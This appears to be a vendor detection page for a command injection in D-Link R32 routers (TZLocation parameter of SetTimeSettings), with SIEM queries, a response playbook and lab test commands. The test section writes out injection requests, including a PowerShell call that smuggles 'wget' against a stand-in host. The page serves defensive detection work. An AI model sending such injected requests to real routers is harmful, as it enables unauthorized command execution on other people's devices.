D-Link R32 DHMAPI SetTimeSettings TZLocation OS Command Injection (CVE-2026-136821)
Detects exploitation of CVE-2026-136821, an OS command injection vulnerability in the SetTimeSettings function of the DHMAPI Action Handler on D-Link R32 1.10B02 routers. The TZLocation parameter is passed unsanitized into a shell context, letting an attacker inject arbitrary operating-system commands (CWE-77/CWE-78) via crafted HTTP requests to the DHMAPI endpoint. CVSS 8.6. A public exploit exists. This detection surfaces anomalous HTTP POST/GET activity to the DHMAPI action handler containing shell metacharacters in the TZLocation parameter, plus downstream indicators of command execution from the embedded web process.
Based on D-Link R32 A1 1.10B02 SetTimeSettings TZLocation OS Command Injection write-up
Vulnerability Intelligence
TheoreticalTimeline
- Disclosed
- November 25, 2026
CVSS
What is CVE-2026-136821 D-Link R32 DHMAPI SetTimeSettings TZLocation OS Command Injection (CVE-2026-136821)?
D-Link R32 DHMAPI SetTimeSettings TZLocation OS Command Injection (CVE-2026-136821) (CVE-2026-136821) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for D-Link R32 DHMAPI SetTimeSettings TZLocation OS Command Injection (CVE-2026-136821), covering the data sources and telemetry it touches: Network Firewall Logs, Web Proxy Logs, Router Syslog. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Execution
// df00tech DF00-06a4432189 · https://df00tech.com/detections/CVE-2026-136821 · licence: https://df00tech.com/detections/licence
let shellMeta = dynamic([";", "|", "&", "`", "$(", "${", "&&", "||", "%3B", "%7C", "%26", "%60"]);
let dhmapiHits = CommonSecurityLog
| where DeviceVendor in ("D-Link", "Fortinet", "Palo Alto Networks", "Zscaler") or isnotempty(RequestURL)
| where RequestURL has_any ("DHMAPI", "SetTimeSettings")
| extend DecodedURL = url_decode(RequestURL)
| where DecodedURL has "TZLocation"
| where DecodedURL has_any (";", "|", "&", "`", "$(", "${")
| project TimeGenerated, SourceIP, DestinationIP, RequestURL, DecodedURL, RequestMethod, DeviceVendor;
dhmapiHits
| union (
Syslog
| where SyslogMessage has_any ("DHMAPI", "SetTimeSettings")
| where SyslogMessage has "TZLocation"
| where SyslogMessage has_any (";", "|", "`", "$(")
| project TimeGenerated, SourceIP=HostIP, Computer, SyslogMessage
) Identifies HTTP requests to the D-Link DHMAPI SetTimeSettings handler where the TZLocation parameter carries shell metacharacters, across firewall/proxy logs (CommonSecurityLog) and router syslog.
Data Sources
Required Tables
False Positives
- Legitimate administrators configuring the router time zone where the TZLocation value coincidentally contains an ampersand or similar character in a benign context
- Security scanners and vulnerability assessment tools (e.g. Nessus, Nuclei) probing the DHMAPI endpoint during authorized testing
- URL-encoding artifacts from nested proxies that double-encode benign query strings
Query fingerprint DF00-06a4432189 · licence
Sigma logsource & community rules
The detection logic for D-Link R32 DHMAPI SetTimeSettings TZLocation OS Command Injection (CVE-2026-136821) (CVE-2026-136821) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: network_connection
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-136821
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulate DHMAPI SetTimeSettings TZLocation command injection probe
Expected signal: Firewall/proxy HTTP log entry showing a POST to /DHMAPI/ with TZLocation containing a semicolon and 'id' command.
- Test 2 URL-encoded TZLocation injection probe
Expected signal: HTTP GET event with TZLocation=UTC%3Becho%20pwned captured in network/proxy logs.
- Test 3 Windows-based exploitation probe via PowerShell
Expected signal: Outbound HTTP POST from the Windows host to the router with a weaponized TZLocation payload.
Response Playbook
Triage
- Confirm the destination IP is a D-Link R32 router running firmware 1.10B02 and whether its management/DHMAPI interface is reachable from the source network or the internet.
- URL-decode the captured TZLocation parameter and extract the injected command string; determine whether it is a benign scan probe (e.g. ';id', ';echo') or a weaponized payload (download, reverse shell, credential dump).
- Determine whether the source IP is internal, a known scanner, or an external/unexpected host, and check for repeated or sequential SetTimeSettings requests indicating automated exploitation.
- Review router syslog and firewall egress logs for outbound connections originating from the router immediately after the request, which would confirm successful command execution.
Containment
- Block the source IP at the perimeter firewall and restrict access to the router's DHMAPI/management interface to trusted management VLANs only.
- Isolate the affected router from the internet (disable WAN-side management) and, if command execution is confirmed, take the device offline pending firmware remediation or replacement.
- Disable remote administration on the device and rotate all router credentials once a clean state is established.
Evidence Collection
- Capture the full raw HTTP request(s) to DHMAPI SetTimeSettings including headers and the decoded TZLocation payload from firewall/proxy/packet-capture logs.
- Export router syslog, configuration backup, and any available process/connection telemetry for the time window around the request.
- Preserve firewall egress logs showing any outbound connections from the router to attacker infrastructure for IOC extraction.
Escalation Criteria
- ! Escalate to incident response if the injected TZLocation command is non-trivial (downloads a payload, opens a listener, or modifies configuration) or if outbound connections from the router follow the request.
- ! Escalate if multiple D-Link routers in the environment receive the same SetTimeSettings payload, indicating a campaign or worm-like propagation.
- ! Escalate to network/infrastructure owners if the router's management interface is found exposed to the internet.
Investigation Guide
Forensic Artifacts
- >
Router syslog entries referencing DHMAPI/SetTimeSettings and anomalous child processes spawned by the embedded web server (httpd/goahead). - >
Firewall/proxy HTTP logs containing the TZLocation payload with shell metacharacters. - >
Modified router configuration, cron/startup entries, or unexpected outbound network connections originating from the router.
Tuning Guidance
Baseline legitimate management source IPs and the normal TZLocation value set for your deployed routers; exclude authorized vulnerability scanners by source IP. If false positives arise from benign ampersands in query strings, tighten the regex to require TZLocation to be immediately followed by a metacharacter and a command-like token (e.g. TZLocation=...[;|&]\s*\w+). Prioritize alerts where the request originates from outside the management VLAN or where downstream outbound connections from the router follow the request.
Hunting Queries
Hunt for all DHMAPI SetTimeSettings requests carrying TZLocation with shell metacharacters, aggregated by source IP to spot scanning or exploitation attempts.
// df00tech DF00-06a4432189 · https://df00tech.com/detections/CVE-2026-136821 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "DHMAPI" | extend d=url_decode(RequestURL) | where d has "TZLocation" and d has_any (";","|","`","$(") | summarize count() by SourceIP, bin(TimeGenerated, 1h) ``` df00tech DF00-06a4432189 · https://df00tech.com/detections/CVE-2026-136821 · licence: https://df00tech.com/detections/licence ```
index=network (uri="*DHMAPI*" OR _raw="*SetTimeSettings*") | eval d=urldecode(coalesce(uri,_raw)) | search d="*TZLocation*" | regex d="TZLocation[^&]*[;|`&]" | stats count by src_ip Atomic Red Team Tests
Sends a crafted HTTP request to a lab D-Link R32 (or mock endpoint) injecting a benign command into the TZLocation parameter of SetTimeSettings.
Command
curl -s -X POST 'http://192.0.2.10/DHMAPI/' --data-urlencode 'action=SetTimeSettings' --data-urlencode 'TZLocation=UTC;id' -H 'Content-Type: application/x-www-form-urlencoded' Cleanup
echo 'No persistent artifacts created on tester; clear shell history if desired: history -c' Expected Telemetry
Firewall/proxy HTTP log entry showing a POST to /DHMAPI/ with TZLocation containing a semicolon and 'id' command.
Expected Detection
The kql/spl/elastic queries match on DHMAPI + TZLocation + shell metacharacter.
Sends a GET request with URL-encoded shell metacharacters in the TZLocation parameter to test decoding-aware detection.
Command
curl -s 'http://192.0.2.10/DHMAPI/?action=SetTimeSettings&TZLocation=UTC%3Becho%20pwned' Cleanup
history -c 2>/dev/null; true Expected Telemetry
HTTP GET event with TZLocation=UTC%3Becho%20pwned captured in network/proxy logs.
Expected Detection
Detection matches via encoded metacharacter patterns (%3B/%7C/%60) or after url_decode.
Uses PowerShell on a Windows test host to issue the malicious SetTimeSettings request against the lab router.
Command
Invoke-WebRequest -Uri 'http://192.0.2.10/DHMAPI/' -Method POST -Body @{action='SetTimeSettings'; TZLocation='UTC;wget http://192.0.2.20/x'} -UseBasicParsing Cleanup
Clear-History; Remove-Variable -Name response -ErrorAction SilentlyContinue Expected Telemetry
Outbound HTTP POST from the Windows host to the router with a weaponized TZLocation payload.
Expected Detection
Detection matches on DHMAPI + TZLocation + shell metacharacters and flags the download-style payload as high priority.
Related Detections
Tactic Hubs
Related Techniques
Same Tactic: Initial Access
Browse by tactic
- Reconnaissance TA0043
- Resource Development TA0042
- Initial Access TA0001
- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Stealth TA0005
- Defense Impairment TA0112
- Credential Access TA0006
- Discovery TA0007
- Lateral Movement TA0008
- Collection TA0009
- Command and Control TA0011
- Exfiltration TA0010
- Impact TA0040